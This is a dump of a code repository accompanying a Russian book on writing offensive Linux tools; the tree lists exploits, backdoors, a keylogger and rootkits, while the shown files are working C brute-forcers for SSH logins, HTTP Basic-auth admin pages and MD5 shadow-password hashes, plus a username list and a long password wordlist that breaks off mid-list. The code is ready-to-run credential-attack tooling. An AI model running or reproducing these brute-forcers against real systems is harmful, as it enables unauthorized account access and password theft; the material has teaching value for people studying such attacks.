├── LICENSE ├── README.md ├── part2 ├── Chapter 10 │ ├── brute_ssh2.c │ ├── brute_ssl.c │ ├── brutebase64.c │ ├── bruteshadow.c │ ├── brutesymbol.c │ ├── users.txt │ └── words.txt ├── Chapter 11 │ ├── bd_icmp.c │ ├── bdmod.c │ ├── bindshell.c │ ├── conback.c │ └── icmpsend.c ├── Chapter 4 │ └── xping.c ├── Chapter 5 │ ├── tracericmp.c │ └── tracerudp.c ├── Chapter 6 │ ├── bonk.c │ ├── icmpflood.c │ ├── synflood.c │ ├── teardrop.c │ ├── udpstorm.c │ ├── win95ping.c │ └── winnuke.c ├── Chapter 7 │ ├── halfscan.c │ ├── ptscan.c │ ├── scan-nonblock.c │ ├── tcpscan.c │ └── udpscan.c ├── Chapter 8 │ ├── cgi-bugs.dat │ └── cgi-scanner.c └── Chapter 9 │ ├── sklsniff.c │ ├── sklsniff_arp.c │ ├── sklsniff_bpf.c │ ├── sklsniff_lnet.c │ └── sklsniff_pcap.c ├── part3 ├── Chapter12 │ └── sections.c ├── Chapter13 │ ├── 13.1 │ │ ├── bruteret.pl │ │ ├── expl_brute.c │ │ ├── expl_stack1.c │ │ ├── expl_stack2.c │ │ ├── expl_stack3.c │ │ └── stack_vuln.c │ ├── 13.2 │ │ ├── bss_vuln.c │ │ └── expl_bss.c │ ├── 13.3 │ │ ├── cd_dtors.c │ │ ├── expl_frm.c │ │ ├── format.c │ │ ├── frmbuilder.c │ │ ├── printf1.c │ │ ├── printf2.c │ │ ├── printf3.c │ │ └── printf4.c │ └── 13.4 │ │ ├── expl_heap1.c │ │ ├── expl_heap2.c │ │ └── heap_vuln.c └── Chapter14 │ ├── bindport.c │ ├── dos.c │ ├── expl_remote.c │ ├── findshell.c │ ├── reuseshell.c │ ├── reverseshell.c │ ├── tempshell.c │ └── vulnserver.c ├── part4 ├── Chapter 16 │ └── elfinfector.c └── Chapter 17 │ └── worm_src_tar.gz └── part5 ├── Chapter 18 ├── bdmod-2.c └── bdmod-3.c ├── Chapter 19 ├── logclean1.c └── logclean2.c ├── Chapter 20 └── keylogger.c └── Chapter 21 ├── hide_file.c ├── hide_module.c ├── hide_netstat.c ├── hide_pid.c ├── hide_promisc.c └── lrk5.src.tar.gz /README.md: -------------------------------------------------------------------------------- 1 | ## Описание компакт-диска к книге И. С. Склярова "Программирование боевого софта под Linux" 2 | 3 | ### [Сетевой боевой софт](https://github.com/dreddsa5dies/hackUtils/tree/master/part2); 4 | * [ping](https://github.com/dreddsa5dies/hackUtils/tree/master/part2/Chapter%204); 5 | * [traceroute](https://github.com/dreddsa5dies/hackUtils/tree/master/part2/Chapter%205); 6 | * [IP spoofing](https://github.com/dreddsa5dies/hackUtils/tree/master/part2/Chapter%206); 7 | * [port-scanner](https://github.com/dreddsa5dies/hackUtils/tree/master/part2/Chapter%207); 8 | * [CGI-scanner](https://github.com/dreddsa5dies/hackUtils/tree/master/part2/Chapter%208); 9 | * [sniffers](https://github.com/dreddsa5dies/hackUtils/tree/master/part2/Chapter%209); 10 | * [bruteforcers](https://github.com/dreddsa5dies/hackUtils/tree/master/part2/Chapter%2010); 11 | * [trojans and backdoors](https://github.com/dreddsa5dies/hackUtils/tree/master/part2/Chapter%2011); 12 | 13 | ### [Эксплоиты](https://github.com/dreddsa5dies/hackUtils/tree/master/part3); 14 | * [Общие сведения по эксплоитам](https://github.com/dreddsa5dies/hackUtils/tree/master/part3/Chapter%2012); 15 | * [local exploits](https://github.com/dreddsa5dies/hackUtils/tree/master/part3/Chapter%2013); 16 | * [remote exploits](https://github.com/dreddsa5dies/hackUtils/tree/master/part3/Chapter%2014); 17 | 18 | ### [Саморазмножающийся боевой софт](https://github.com/dreddsa5dies/hackUtils/tree/master/part4); 19 | * [Вирусы](https://github.com/dreddsa5dies/hackUtils/tree/master/part3/Chapter%2016); 20 | * [Черви](https://github.com/dreddsa5dies/hackUtils/tree/master/part3/Chapter%2017); 21 | 22 | ### [Локальный боевой софт](https://github.com/dreddsa5dies/hackUtils/tree/master/part5); 23 | * [Введение в программирование модулей ядра](https://github.com/dreddsa5dies/hackUtils/tree/master/part5/Chapter%2018); 24 | * [log-cleaner](https://github.com/dreddsa5dies/hackUtils/tree/master/part5/Chapter%2019); 25 | * [keylogger](https://github.com/dreddsa5dies/hackUtils/tree/master/part5/Chapter%2020); 26 | * [rootkit](https://github.com/dreddsa5dies/hackUtils/tree/master/part5/Chapter%2021); 27 | -------------------------------------------------------------------------------- /part2/Chapter 10/brute_ssh2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #define USER "users.txt" 11 | #define PASS "words.txt" 12 | #define PORT 22 13 | 14 | int main(int argc, char *argv[]) 15 | { 16 | FILE *fd1, *fd2; 17 | char login[250], pass[250]; 18 | char *buf; 19 | struct hostent* host; 20 | struct sockaddr_in servaddr; 21 | 22 | SSH_SESSION *ssh_session; 23 | SSH_OPTIONS *ssh_opt; 24 | 25 | if (argc != 2) { 26 | fprintf(stderr, "Usage: %s \n", argv[0]); 27 | exit(-1); 28 | } 29 | 30 | fprintf(stderr, "Brute start...\n"); 31 | 32 | if ( (host = gethostbyname(argv[1])) == NULL) { 33 | herror("gethostbyname() failed"); 34 | exit(-1); 35 | } 36 | 37 | bzero(&servaddr, sizeof(servaddr)); 38 | servaddr.sin_family = AF_INET; 39 | servaddr.sin_port = htons(PORT); 40 | servaddr.sin_addr = *((struct in_addr *)host->h_addr); 41 | 42 | if ( (fd1 = fopen(USER, "r")) == NULL) { 43 | perror("fopen() failed"); 44 | exit(-1); 45 | } 46 | 47 | while(fgets(login, 250, fd1) != NULL) 48 | { 49 | login[strcspn(login, "\r\n\t")] = 0; 50 | if (strlen(login) == 0) continue; 51 | 52 | if( (fd2 = fopen(PASS, "r")) == NULL) { 53 | perror("fopen() failed"); 54 | exit(-1); 55 | } 56 | 57 | while(fgets(pass, 250, fd2) != NULL) 58 | { 59 | pass[strcspn(pass, "\r\n\t")] = 0; 60 | if (strlen(pass) == 0) continue; 61 | 62 | ssh_opt = options_new(); 63 | buf = malloc(20); 64 | inet_ntop(AF_INET, &servaddr.sin_addr, buf, 20); 65 | options_set_wanted_method(ssh_opt, KEX_COMP_C_S, "none"); 66 | options_set_wanted_method(ssh_opt, KEX_COMP_S_C, "none"); 67 | options_set_port(ssh_opt, PORT); 68 | options_set_host(ssh_opt, buf); 69 | options_set_username(ssh_opt, login); 70 | if ((ssh_session = ssh_connect(ssh_opt)) == NULL) { 71 | fprintf(stderr, "Connection failed: %s\n", ssh_get_error(ssh_session)); 72 | exit(-1); 73 | } 74 | 75 | if (ssh_userauth_password(ssh_session, login, pass) == SSH_AUTH_SUCCESS) { 76 | fprintf(stderr, "OK! login: %s, password: %s\n", login, pass); 77 | } 78 | 79 | free(buf); 80 | ssh_disconnect(ssh_session); 81 | } 82 | } 83 | 84 | return 0; 85 | } 86 | 87 | -------------------------------------------------------------------------------- /part2/Chapter 10/brute_ssl.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #define USER "users.txt" 12 | #define PASS "words.txt" 13 | #define CATALOG "/admin/" 14 | 15 | static char table64[]= 16 | "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; 17 | 18 | char *port_host; 19 | char *name; 20 | 21 | void token(char *arg) 22 | { 23 | name = strtok(arg, ":"); 24 | port_host = strtok(NULL, ""); 25 | 26 | if (port_host == NULL) 27 | port_host = "443"; 28 | } 29 | 30 | void base64Encode(char *intext, char *output) 31 | { 32 | unsigned char ibuf[3]; 33 | unsigned char obuf[4]; 34 | int i; 35 | int inputparts; 36 | 37 | while(*intext) { 38 | for (i = inputparts = 0; i < 3; i++) { 39 | if(*intext) { 40 | inputparts++; 41 | ibuf[i] = *intext; 42 | intext++; 43 | } 44 | else 45 | ibuf[i] = 0; 46 | } 47 | 48 | obuf [0] = (ibuf [0] & 0xFC) >> 2; 49 | obuf [1] = ((ibuf [0] & 0x03) << 4) | ((ibuf [1] & 0xF0) >> 4); 50 | obuf [2] = ((ibuf [1] & 0x0F) << 2) | ((ibuf [2] & 0xC0) >> 6); 51 | obuf [3] = ibuf [2] & 0x3F; 52 | 53 | switch(inputparts) { 54 | case 1: /* only one byte read */ 55 | sprintf(output, "%c%c==", 56 | table64[obuf[0]], 57 | table64[obuf[1]]); 58 | break; 59 | case 2: /* two bytes read */ 60 | sprintf(output, "%c%c%c=", 61 | table64[obuf[0]], 62 | table64[obuf[1]], 63 | table64[obuf[2]]); 64 | break; 65 | default: 66 | sprintf(output, "%c%c%c%c", 67 | table64[obuf[0]], 68 | table64[obuf[1]], 69 | table64[obuf[2]], 70 | table64[obuf[3]] ); 71 | break; 72 | } 73 | output += 4; 74 | } 75 | *output=0; 76 | } 77 | 78 | int main(int argc, char **argv) 79 | { 80 | FILE *fd1, *fd2; 81 | int sd, bytes; 82 | char buf1[250], buf2[250]; 83 | char buf[250]; 84 | char str1[270], str2[100]; 85 | struct hostent* host; 86 | struct sockaddr_in servaddr; 87 | char rez[2000]; 88 | char c[600]; 89 | 90 | SSL_METHOD *method; 91 | SSL_CTX *ctx; 92 | SSL *ssl; 93 | OpenSSL_add_all_algorithms(); 94 | SSL_load_error_strings(); 95 | 96 | method = SSLv2_client_method(); 97 | ctx = SSL_CTX_new(method); 98 | 99 | if (argc != 2) { 100 | fprintf(stderr, "Usage: %s host[:port]\n\n", argv[0]); 101 | exit(-1); 102 | } 103 | 104 | token(argv[1]); 105 | 106 | if ( (host = gethostbyname(name)) == NULL) { 107 | herror("gethostbyname() failed"); 108 | exit(-1); 109 | } 110 | 111 | bzero(&servaddr, sizeof(servaddr)); 112 | servaddr.sin_family = AF_INET; 113 | servaddr.sin_port = htons(atoi(port_host)); 114 | servaddr.sin_addr = *((struct in_addr *)host->h_addr); 115 | 116 | if ( (fd1 = fopen(USER, "r")) == NULL) { 117 | perror("fopen() failed"); 118 | exit(-1); 119 | } 120 | 121 | while(fgets(buf1, 250, fd1) != NULL) 122 | { 123 | buf1[strcspn(buf1, "\r\n\t")] = 0; 124 | if (strlen(buf1) == 0) continue; 125 | 126 | if( (fd2 = fopen(PASS, "r")) == NULL) { 127 | perror("fopen() failed"); 128 | exit(-1); 129 | } 130 | 131 | while(fgets(buf2, 250, fd2) != NULL) 132 | { 133 | buf2[strcspn(buf2, "\r\n\t")] = 0; 134 | if (strlen(buf2) == 0) continue; 135 | 136 | sprintf(c, "%s:%s", buf1, buf2); 137 | base64Encode(c, rez); 138 | 139 | if ( (sd = socket(PF_INET, SOCK_STREAM, 0)) < 0) { 140 | perror("socket() failed"); 141 | exit(-1); 142 | } 143 | 144 | if (connect(sd, (struct sockaddr *)&servaddr, sizeof(servaddr)) == -1) { 145 | perror("connect() failed"); 146 | exit(-1); 147 | } 148 | 149 | ssl = SSL_new(ctx); 150 | SSL_set_fd(ssl, sd); 151 | if (SSL_connect(ssl) == -1) 152 | ERR_print_errors_fp(stderr); 153 | 154 | sprintf(str1, "GET %s HTTP/1.1\r\n", CATALOG); 155 | sprintf(str2, "Host:%s\r\nAuthorization: Basic %s\r\n\r\n", argv[1], rez); 156 | 157 | SSL_write(ssl, str1, strlen(str1)); 158 | SSL_write(ssl, str2, strlen(str2)); 159 | 160 | bzero(buf, 250); 161 | 162 | bytes = SSL_read(ssl, buf, sizeof(buf)-1); 163 | buf[bytes] = 0; 164 | 165 | if (strstr(buf, "200 OK") != NULL) { 166 | printf("======================================\n"); 167 | printf("%s", str1); 168 | printf("%s\n", str2); 169 | printf("Result OK: %s\n", c); 170 | printf("======================================\n"); 171 | } 172 | 173 | close(sd); 174 | SSL_free(ssl); 175 | } 176 | } 177 | 178 | SSL_CTX_free(ctx); 179 | return 0; 180 | } 181 | -------------------------------------------------------------------------------- /part2/Chapter 10/brutebase64.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #define USER "users.txt" 9 | #define PASS "words.txt" 10 | #define CATALOG "/admin/" 11 | 12 | static char table64[]= 13 | "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; 14 | 15 | char *port_host; 16 | char *name; 17 | 18 | void token(char *arg) 19 | { 20 | name = strtok(arg, ":"); 21 | port_host = strtok(NULL, ""); 22 | 23 | if (port_host == NULL) 24 | port_host = "80"; 25 | } 26 | 27 | void base64Encode(char *intext, char *output) 28 | { 29 | unsigned char ibuf[3]; 30 | unsigned char obuf[4]; 31 | int i; 32 | int inputparts; 33 | 34 | while(*intext) { 35 | for (i = inputparts = 0; i < 3; i++) { 36 | if(*intext) { 37 | inputparts++; 38 | ibuf[i] = *intext; 39 | intext++; 40 | } 41 | else 42 | ibuf[i] = 0; 43 | } 44 | 45 | obuf [0] = (ibuf [0] & 0xFC) >> 2; 46 | obuf [1] = ((ibuf [0] & 0x03) << 4) | ((ibuf [1] & 0xF0) >> 4); 47 | obuf [2] = ((ibuf [1] & 0x0F) << 2) | ((ibuf [2] & 0xC0) >> 6); 48 | obuf [3] = ibuf [2] & 0x3F; 49 | 50 | switch(inputparts) { 51 | case 1: /* only one byte read */ 52 | sprintf(output, "%c%c==", 53 | table64[obuf[0]], 54 | table64[obuf[1]]); 55 | break; 56 | case 2: /* two bytes read */ 57 | sprintf(output, "%c%c%c=", 58 | table64[obuf[0]], 59 | table64[obuf[1]], 60 | table64[obuf[2]]); 61 | break; 62 | default: 63 | sprintf(output, "%c%c%c%c", 64 | table64[obuf[0]], 65 | table64[obuf[1]], 66 | table64[obuf[2]], 67 | table64[obuf[3]] ); 68 | break; 69 | } 70 | output += 4; 71 | } 72 | *output=0; 73 | } 74 | 75 | int main(int argc, char **argv) 76 | { 77 | FILE *fd1, *fd2; 78 | int sd, bytes; 79 | char buf1[250], buf2[250]; 80 | char buf[250]; 81 | char str1[270], str2[100]; 82 | struct hostent* host; 83 | struct sockaddr_in servaddr; 84 | char rez[2000]; 85 | char c[600]; 86 | 87 | if (argc < 2 || argc > 3) { 88 | fprintf(stderr, "Usage: %s host[:port] [proxy][:port]\n\n", argv[0]); 89 | exit(-1); 90 | } 91 | 92 | if (argc == 3) 93 | token(argv[2]); 94 | else 95 | token(argv[1]); 96 | 97 | if ( (host = gethostbyname(name)) == NULL) { 98 | herror("gethostbyname() failed"); 99 | exit(-1); 100 | } 101 | 102 | bzero(&servaddr, sizeof(servaddr)); 103 | servaddr.sin_family = AF_INET; 104 | servaddr.sin_port = htons(atoi(port_host)); 105 | servaddr.sin_addr = *((struct in_addr *)host->h_addr); 106 | 107 | if ( (fd1 = fopen(USER, "r")) == NULL) { 108 | perror("fopen() failed"); 109 | exit(-1); 110 | } 111 | 112 | while(fgets(buf1, 250, fd1) != NULL) 113 | { 114 | buf1[strcspn(buf1, "\r\n\t")] = 0; 115 | if (strlen(buf1) == 0) continue; 116 | 117 | if( (fd2 = fopen(PASS, "r")) == NULL) { 118 | perror("fopen() failed"); 119 | exit(-1); 120 | } 121 | 122 | while(fgets(buf2, 250, fd2) != NULL) 123 | { 124 | buf2[strcspn(buf2, "\r\n\t")] = 0; 125 | if (strlen(buf2) == 0) continue; 126 | 127 | sprintf(c, "%s:%s", buf1, buf2); 128 | base64Encode(c, rez); 129 | 130 | if ( (sd = socket(PF_INET, SOCK_STREAM, 0)) < 0) { 131 | perror("socket() failed"); 132 | exit(-1); 133 | } 134 | 135 | if (connect(sd, (struct sockaddr *)&servaddr, sizeof(servaddr)) == -1) { 136 | perror("connect() failed"); 137 | exit(-1); 138 | } 139 | 140 | if (argc == 2) 141 | sprintf(str1, "GET %s HTTP/1.1\r\n", CATALOG); 142 | else 143 | sprintf(str1, "GET http://%s%s HTTP/1.1\r\n", argv[1], CATALOG); 144 | 145 | sprintf(str2, "Host:%s\r\nAuthorization: Basic %s\r\n\r\n", argv[1], rez); 146 | 147 | send(sd, str1, strlen(str1), 0); 148 | send(sd, str2, strlen(str2), 0); 149 | 150 | bzero(buf, 250); 151 | 152 | bytes = recv(sd, buf, sizeof(buf)-1, 0); 153 | buf[bytes] = 0; 154 | 155 | if (strstr(buf, "200 OK") != NULL) { 156 | printf("======================================\n"); 157 | printf("%s", str1); 158 | printf("%s\n", str2); 159 | printf("Result OK: %s\n", c); 160 | printf("======================================\n"); 161 | } 162 | 163 | close(sd); 164 | } 165 | } 166 | 167 | return 0; 168 | } 169 | -------------------------------------------------------------------------------- /part2/Chapter 10/bruteshadow.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int main(int argc, char* argv[]) 7 | { 8 | FILE *fd1, *fd2; 9 | char *str1, *str2; 10 | char *salt, *hash, *key, *key1; 11 | char buf[13], word[100], pass[100]; 12 | 13 | if (argc != 2) { 14 | fprintf(stderr, "Usage: %s \n", argv[0]); 15 | exit(-1); 16 | } 17 | 18 | str1 = (char*)malloc(100); 19 | str2 = (char*)malloc(100); 20 | 21 | // открываем файл с зашифрованными паролями 22 | fd1 = fopen(argv[1], "r"); 23 | 24 | fprintf(stderr, "Please, wait...\n"); 25 | 26 | // читаем в цикле каждую строчку файла 27 | while(fgets(str1, 100, fd1) != NULL) 28 | { 29 | str2 = strstr(str1, "$1$"); // ищем в строке символы $1$ 30 | 31 | if (str2 != NULL) // и если находим, то 32 | { 33 | // выделяем зашифрованный пароль 34 | key = strtok(str2, ":"); 35 | snprintf(pass, sizeof(pass), "%s", key); 36 | printf ("pass=%s (%d)\n", pass, strlen(pass)); 37 | 38 | // выделяем salt в зашифрованном пароле 39 | strtok(key, "$"); 40 | salt = strtok(NULL, "$"); 41 | hash = strtok(NULL, "\0"); // эту операцию можно не делать 42 | 43 | // формируем salt в виде $1$salt$ 44 | snprintf(buf, sizeof(buf), "$1$%s$", salt); 45 | 46 | // открываем файл словаря 47 | fd2 = fopen("/usr/share/dict/words", "r"); 48 | 49 | // читаем в цикле каждое слово из словаря 50 | while(fgets(word, 100, fd2) != NULL) 51 | { 52 | // удаляем символ новой строки 53 | (&word[strlen(word)])[-1] = '\0'; 54 | 55 | // вычисляем новый зашифрованный пароль 56 | key1 = crypt(word, buf); 57 | 58 | // сравниваем зашифрованные пароли 59 | if (!strncmp(key1, pass, strlen(key1))) { 60 | printf("OK! Password: %s\n\n", word); 61 | break; 62 | } 63 | } 64 | } 65 | } 66 | 67 | fclose(fd1); 68 | fclose(fd2); 69 | free(str1); 70 | free(str2); 71 | 72 | return 0; 73 | } 74 | -------------------------------------------------------------------------------- /part2/Chapter 10/brutesymbol.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main() 4 | { 5 | char pswd[10]; 6 | int p = 0; 7 | pswd[0] = ' '; 8 | pswd[1] = 0; 9 | 10 | while(1) 11 | { 12 | while ((++pswd[p]) > '~') 13 | { 14 | pswd[p] = ' '; 15 | p++; 16 | if (!pswd[p]) 17 | { 18 | pswd[p] = ' '; 19 | pswd[p + 1] = 0; 20 | } 21 | } 22 | p = 0; 23 | printf("%s\n", &pswd[0]); 24 | } 25 | 26 | return 0; 27 | } 28 | -------------------------------------------------------------------------------- /part2/Chapter 10/users.txt: -------------------------------------------------------------------------------- 1 | admin 2 | administrator 3 | test 4 | guest 5 | root 6 | backup 7 | -------------------------------------------------------------------------------- /part2/Chapter 10/words.txt: -------------------------------------------------------------------------------- 1 | 2 | aaa 3 | abc 4 | academia 5 | academic 6 | access 7 | ada 8 | admin 9 | administrator 10 | adrian 11 | adrianna 12 | aerobics 13 | airplane 14 | albany 15 | albatross 16 | albert 17 | alex 18 | alexander 19 | alf 20 | algebra 21 | alias 22 | aliases 23 | alice 24 | alicia 25 | alisa 26 | alison 27 | allison 28 | alpha 29 | alphabet 30 | ama 31 | amadeus 32 | amanda 33 | amber 34 | amorphous 35 | amy 36 | analog 37 | anchor 38 | andrea 39 | andromache 40 | andy 41 | angela 42 | angerine 43 | angie 44 | animals 45 | anita 46 | ann 47 | anna 48 | anne 49 | annette 50 | answer 51 | anthropogenic 52 | anvils 53 | anything 54 | april 55 | aria 56 | ariadne 57 | arlene 58 | arrow 59 | arthur 60 | asd 61 | asm 62 | asshole 63 | athena 64 | atmosphere 65 | aztecs 66 | azure 67 | bacchus 68 | badass 69 | bailey 70 | banana 71 | bananas 72 | bandit 73 | banks 74 | barbara 75 | barber 76 | baritone 77 | bart 78 | bartman 79 | basic 80 | bass 81 | bassoon 82 | batch 83 | batman 84 | beach 85 | beater 86 | beauty 87 | beaver 88 | becky 89 | beethoven 90 | beloved 91 | benz 92 | beowulf 93 | berkeley 94 | berlin 95 | berliner 96 | beryl 97 | beta 98 | beth 99 | betsie 100 | betty 101 | beverly 102 | bicameral 103 | bishop 104 | bitch 105 | bob 106 | bradley 107 | brandi 108 | brandy 109 | brenda 110 | brian 111 | bridget 112 | broadway 113 | bsd 114 | bumbling 115 | burgess 116 | cad 117 | camille 118 | campanile 119 | candi 120 | candy 121 | cantor 122 | cardinal 123 | caren 124 | carla 125 | carmen 126 | carol 127 | carole 128 | carolina 129 | caroline 130 | carrie 131 | carson 132 | cascades 133 | castle 134 | cat 135 | catherine 136 | cathy 137 | cayuga 138 | cecily 139 | celtics 140 | cerulean 141 | change 142 | charity 143 | charles 144 | charming 145 | charon 146 | chat 147 | chem 148 | chemistry 149 | chess 150 | chester 151 | christina 152 | christine 153 | christy 154 | cigar 155 | cindy 156 | class 157 | classic 158 | claudia 159 | cluster 160 | clusters 161 | code 162 | coffee 163 | coke 164 | collins 165 | commrades 166 | computer 167 | comrade 168 | comrades 169 | condo 170 | condom 171 | connect 172 | connie 173 | console 174 | cookie 175 | cooper 176 | cornelius 177 | couscous 178 | create 179 | creation 180 | creosote 181 | cretin 182 | criminal 183 | cristina 184 | crystal 185 | cshrc 186 | cynthia 187 | daemon 188 | daisy 189 | dana 190 | dancer 191 | daniel 192 | danielle 193 | danny 194 | dapper 195 | data 196 | dave 197 | dawn 198 | deb 199 | debbie 200 | deborah 201 | december 202 | default 203 | defoe 204 | deluge 205 | denise 206 | desiree 207 | desperate 208 | develop 209 | device 210 | dial 211 | diana 212 | diane 213 | diet 214 | dieter 215 | digital 216 | disc 217 | discovery 218 | disk 219 | disney 220 | dog 221 | dos 222 | drought 223 | dulce 224 | duncan 225 | eager 226 | earth 227 | easier 228 | easy 229 | eatme 230 | edges 231 | edinburgh 232 | edwin 233 | edwina 234 | egghead 235 | eiderdown 236 | eileen 237 | einstein 238 | elaine 239 | elanor 240 | elephant 241 | elizabeth 242 | ellen 243 | email 244 | emerald 245 | emily 246 | emmanuel 247 | enemy 248 | engine 249 | engineer 250 | enterprise 251 | enzyme 252 | erenity 253 | erica 254 | erika 255 | erin 256 | ersatz 257 | establish 258 | estate 259 | eternity 260 | euclid 261 | evelyn 262 | extension 263 | fairway 264 | felicia 265 | fender 266 | fermat 267 | ferrari 268 | fidelity 269 | field 270 | file 271 | finite 272 | fishers 273 | flakes 274 | float 275 | flower 276 | flowers 277 | foolproof 278 | football 279 | foresight 280 | format 281 | forsythe 282 | fourier 283 | fred 284 | friend 285 | frighten 286 | fun 287 | function 288 | fungible 289 | gabriel 290 | games 291 | gardner 292 | garfield 293 | gatt 294 | gauss 295 | george 296 | gertrude 297 | gibson 298 | gina 299 | ginger 300 | glacier 301 | gnu 302 | golf 303 | golfer 304 | gorgeous 305 | gorges 306 | gosling 307 | gouge 308 | graham 309 | grahm 310 | group 311 | gryphon 312 | gucci 313 | guess 314 | guest 315 | guitar 316 | gumption 317 | guntis 318 | hack 319 | hacker 320 | hal 321 | hamlet 322 | handily 323 | happening 324 | harmony 325 | harold 326 | harvey 327 | hawaii 328 | heather 329 | hebrides 330 | heidi 331 | heinlein 332 | hello 333 | help 334 | herbert 335 | hiawatha 336 | hibernia 337 | hidden 338 | holly 339 | homework 340 | honey 341 | horse 342 | horus 343 | hutchins 344 | hydrogen 345 | ibm 346 | imbroglio 347 | imperial 348 | include 349 | ingres 350 | ingress 351 | ingrid 352 | inna 353 | innocuous 354 | internet 355 | irene 356 | irishman 357 | isis 358 | jackie 359 | jane 360 | janet 361 | janice 362 | janie 363 | japan 364 | jasmin 365 | jean 366 | jeanne 367 | jen 368 | jenni 369 | jennifer 370 | jenny 371 | jessica 372 | jester 373 | jill 374 | jixian 375 | joanne 376 | jody 377 | johnny 378 | joseph 379 | joshua 380 | joy 381 | joyce 382 | judith 383 | judy 384 | juggle 385 | julia 386 | julie 387 | june 388 | jupiter 389 | karen 390 | karie 391 | karina 392 | kate 393 | kathleen 394 | kathrine 395 | kathy 396 | katina 397 | katrina 398 | kelly 399 | keri 400 | kermit 401 | kernel 402 | kerri 403 | kerrie 404 | kerry 405 | key 406 | kim 407 | kimberly 408 | kirkland 409 | kitten 410 | knight 411 | krista 412 | kristen 413 | kristi 414 | kristie 415 | kristin 416 | kristine 417 | kristy 418 | ladle 419 | lambda 420 | lamination 421 | lana 422 | lara 423 | larkin 424 | larry 425 | laura 426 | lazarus 427 | leah 428 | lebesgue 429 | lee 430 | leland 431 | leroy 432 | leslie 433 | lewis 434 | library 435 | light 436 | linda 437 | lisa 438 | lisp 439 | liz 440 | lock 441 | lockout 442 | lois 443 | lori 444 | lorin 445 | lorraine 446 | louis 447 | love 448 | lucy 449 | lynn 450 | lynne 451 | macintosh 452 | mack 453 | maggot 454 | magic 455 | mail 456 | maint 457 | malcolm 458 | malcom 459 | manager 460 | mara 461 | marci 462 | marcy 463 | maria 464 | marietta 465 | mark 466 | markus 467 | marni 468 | mars 469 | marty 470 | marvin 471 | mary 472 | master 473 | math 474 | maurice 475 | meagan 476 | megan 477 | melissa 478 | mellon 479 | memory 480 | mercury 481 | merlin 482 | mets 483 | mgr 484 | michael 485 | michele 486 | michelle 487 | mickey 488 | mike 489 | minimum 490 | minsky 491 | mit 492 | modem 493 | mogul 494 | moguls 495 | monica 496 | moose 497 | morley 498 | mouse 499 | mozart 500 | mutant 501 | nagel 502 | nancy 503 | napoleon 504 | nasa 505 | nepenthe 506 | neptune 507 | ness 508 | net 509 | network 510 | new 511 | news 512 | newton 513 | next 514 | nicole 515 | nita 516 | nobody 517 | noreen 518 | noxious 519 | nuclear 520 | nutrition 521 | nyquist 522 | oceanography 523 | ocelot 524 | office 525 | olivetti 526 | olivia 527 | open 528 | operator 529 | oracle 530 | orca 531 | orwell 532 | osiris 533 | outlaw 534 | oxford 535 | pacific 536 | pad 537 | painless 538 | pakistan 539 | pam 540 | pamela 541 | paper 542 | papers 543 | pass 544 | password 545 | pat 546 | patricia 547 | patty 548 | paula 549 | pencil 550 | penelope 551 | penguin 552 | penis 553 | peoria 554 | percolate 555 | persimmon 556 | persona 557 | pete 558 | peter 559 | philip 560 | phoenix 561 | phone 562 | pierre 563 | pizza 564 | plane 565 | playboy 566 | plover 567 | pluto 568 | plymouth 569 | polly 570 | polynomial 571 | pondering 572 | pork 573 | porsche 574 | poster 575 | power 576 | praise 577 | precious 578 | prelude 579 | presto 580 | prince 581 | princeton 582 | priv 583 | private 584 | privs 585 | professor 586 | profile 587 | program 588 | protect 589 | protozoa 590 | pub 591 | public 592 | pumpkin 593 | puneet 594 | puppet 595 | qwerty 596 | rabbit 597 | rachel 598 | rachelle 599 | rachmaninoff 600 | rainbow 601 | raindrop 602 | raleigh 603 | random 604 | rascal 605 | reagan 606 | really 607 | rebecca 608 | regional 609 | remote 610 | renee 611 | rick 612 | ripple 613 | risc 614 | rje 615 | robin 616 | robot 617 | robotics 618 | robyn 619 | rochelle 620 | rochester 621 | rodent 622 | rolex 623 | romano 624 | ronald 625 | root 626 | rose 627 | rosebud 628 | rosemary 629 | roses 630 | ruben 631 | rules 632 | ruth 633 | sal 634 | samantha 635 | sandra 636 | sandy 637 | sara 638 | sarah 639 | saturn 640 | saxon 641 | scamper 642 | scheme 643 | school 644 | scott 645 | scotty 646 | secret 647 | security 648 | sensor 649 | serenity 650 | service 651 | sesame 652 | setup 653 | sex 654 | shannon 655 | sharc 656 | shark 657 | sharks 658 | sharon 659 | sheffield 660 | sheldon 661 | shell 662 | sherri 663 | shirley 664 | shit 665 | shiva 666 | shivers 667 | shuttle 668 | signature 669 | simon 670 | simple 671 | simpsons 672 | singer 673 | single 674 | smile 675 | smiles 676 | smooch 677 | smother 678 | snatch 679 | snoopy 680 | soap 681 | socrates 682 | somebody 683 | sondra 684 | sonia 685 | sonya 686 | sossina 687 | sparrows 688 | spit 689 | spring 690 | springer 691 | squires 692 | stacey 693 | staci 694 | stacie 695 | stacy 696 | steph 697 | stephanie 698 | strangle 699 | stratford 700 | student 701 | stuttgart 702 | subway 703 | success 704 | summer 705 | sun 706 | super 707 | superstage 708 | superuser 709 | support 710 | supported 711 | surfer 712 | susan 713 | susanne 714 | susie 715 | suzanne 716 | suzie 717 | swearer 718 | sybil 719 | symmetry 720 | sys 721 | sysadmin 722 | system 723 | tamara 724 | tami 725 | tamie 726 | tammy 727 | tangerine 728 | tape 729 | tara 730 | target 731 | tarragon 732 | taylor 733 | tech 734 | telephone 735 | temptation 736 | tennis 737 | terminal 738 | test 739 | thailand 740 | theresa 741 | tiffany 742 | tiger 743 | tina 744 | toggle 745 | tomato 746 | topography 747 | tortoise 748 | toxic 749 | toyota 750 | traci 751 | tracie 752 | tracy 753 | trails 754 | transfer 755 | trisha 756 | trivial 757 | trombone 758 | tty 759 | tubas 760 | tuttle 761 | umesh 762 | unhappy 763 | unicorn 764 | unix 765 | unknown 766 | uranus 767 | urchin 768 | ursula 769 | util 770 | utility 771 | uucp 772 | valerie 773 | vasant 774 | venus 775 | veronica 776 | 